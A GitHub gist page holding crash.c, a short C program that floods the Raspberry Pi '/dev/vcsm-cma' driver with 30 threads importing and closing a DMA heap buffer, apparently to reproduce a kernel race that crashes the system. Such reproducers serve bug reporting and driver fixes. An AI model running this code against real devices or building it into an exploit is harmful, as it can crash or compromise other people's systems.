Created
March 5, 2025 14:46
-
-
Save dividuum/da0a9a7038b592898ea269f19917e438 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // gcc crash.c -o crash -lpthread | |
| #include <stdint.h> | |
| #include <assert.h> | |
| #include <sys/ioctl.h> | |
| #include <linux/dma-heap.h> | |
| #include <stdlib.h> | |
| #include <stdio.h> | |
| #include <unistd.h> | |
| #include <sys/types.h> | |
| #include <sys/stat.h> | |
| #include <fcntl.h> | |
| #include <pthread.h> | |
| enum vc_sm_cma_cache_e { | |
| VC_SM_CMA_CACHE_NONE, | |
| VC_SM_CMA_CACHE_HOST, | |
| VC_SM_CMA_CACHE_VC, | |
| VC_SM_CMA_CACHE_BOTH, | |
| }; | |
| #define VC_SM_CMA_RESOURCE_NAME 32 | |
| struct vc_sm_cma_ioctl_import_dmabuf { | |
| /* user -> kernel */ | |
| int32_t dmabuf_fd; | |
| uint32_t cached; /* enum vc_sm_cma_cache_e */ | |
| char name[VC_SM_CMA_RESOURCE_NAME]; | |
| /* kernel -> user */ | |
| int32_t handle; | |
| uint32_t vc_handle; | |
| uint32_t size; | |
| uint32_t pad; | |
| uint64_t dma_addr; | |
| }; | |
| enum vc_sm_cma_cmd_e { | |
| VC_SM_CMA_CMD_ALLOC = 0x5A, /* Start at 0x5A arbitrarily */ | |
| VC_SM_CMA_CMD_IMPORT_DMABUF, | |
| VC_SM_CMA_CMD_CLEAN_INVALID2, | |
| }; | |
| #define VC_SM_CMA_MAGIC_TYPE 'J' | |
| #define VC_SM_CMA_IOCTL_MEM_IMPORT_DMABUF \ | |
| _IOR(VC_SM_CMA_MAGIC_TYPE, VC_SM_CMA_CMD_IMPORT_DMABUF, struct vc_sm_cma_ioctl_import_dmabuf) | |
| static int vcsm_fd; | |
| static int dma_fd; | |
| #define NUM_THREADS 30 | |
| static pthread_t t[NUM_THREADS]; | |
| static pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; | |
| static void *importer(void *ud) { | |
| for (int loop = 0;;loop++) { | |
| struct vc_sm_cma_ioctl_import_dmabuf import = { | |
| .dmabuf_fd = dma_fd, | |
| }; | |
| int ret = ioctl(vcsm_fd, VC_SM_CMA_IOCTL_MEM_IMPORT_DMABUF, &import); | |
| assert(ret >= 0); | |
| int import_fd = import.handle; | |
| if (loop % 100 == 0) | |
| printf("%d %d 0x%x\n", loop, import_fd, (uint32_t)import.dma_addr); | |
| close(import_fd); | |
| } | |
| } | |
| int main() { | |
| int heap_fd = open("/dev/dma_heap/linux,cma", O_RDWR|O_CLOEXEC); | |
| assert(heap_fd >= 0); | |
| struct dma_heap_allocation_data alloc = { | |
| .len = 4096, | |
| .fd_flags = O_RDWR | O_CLOEXEC, | |
| .heap_flags = 0 | |
| }; | |
| int ret = ioctl(heap_fd, DMA_HEAP_IOCTL_ALLOC, &alloc); | |
| assert(ret >= 0); | |
| dma_fd = alloc.fd; | |
| printf("dma_fd = %d\n", dma_fd); | |
| vcsm_fd = open("/dev/vcsm-cma", O_RDWR); | |
| assert(vcsm_fd >= 0); | |
| for (int n = 0; n < NUM_THREADS; n++) { | |
| ret = pthread_create(&t[n], NULL, importer, NULL); | |
| assert(ret == 0); | |
| } | |
| sleep(10000); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment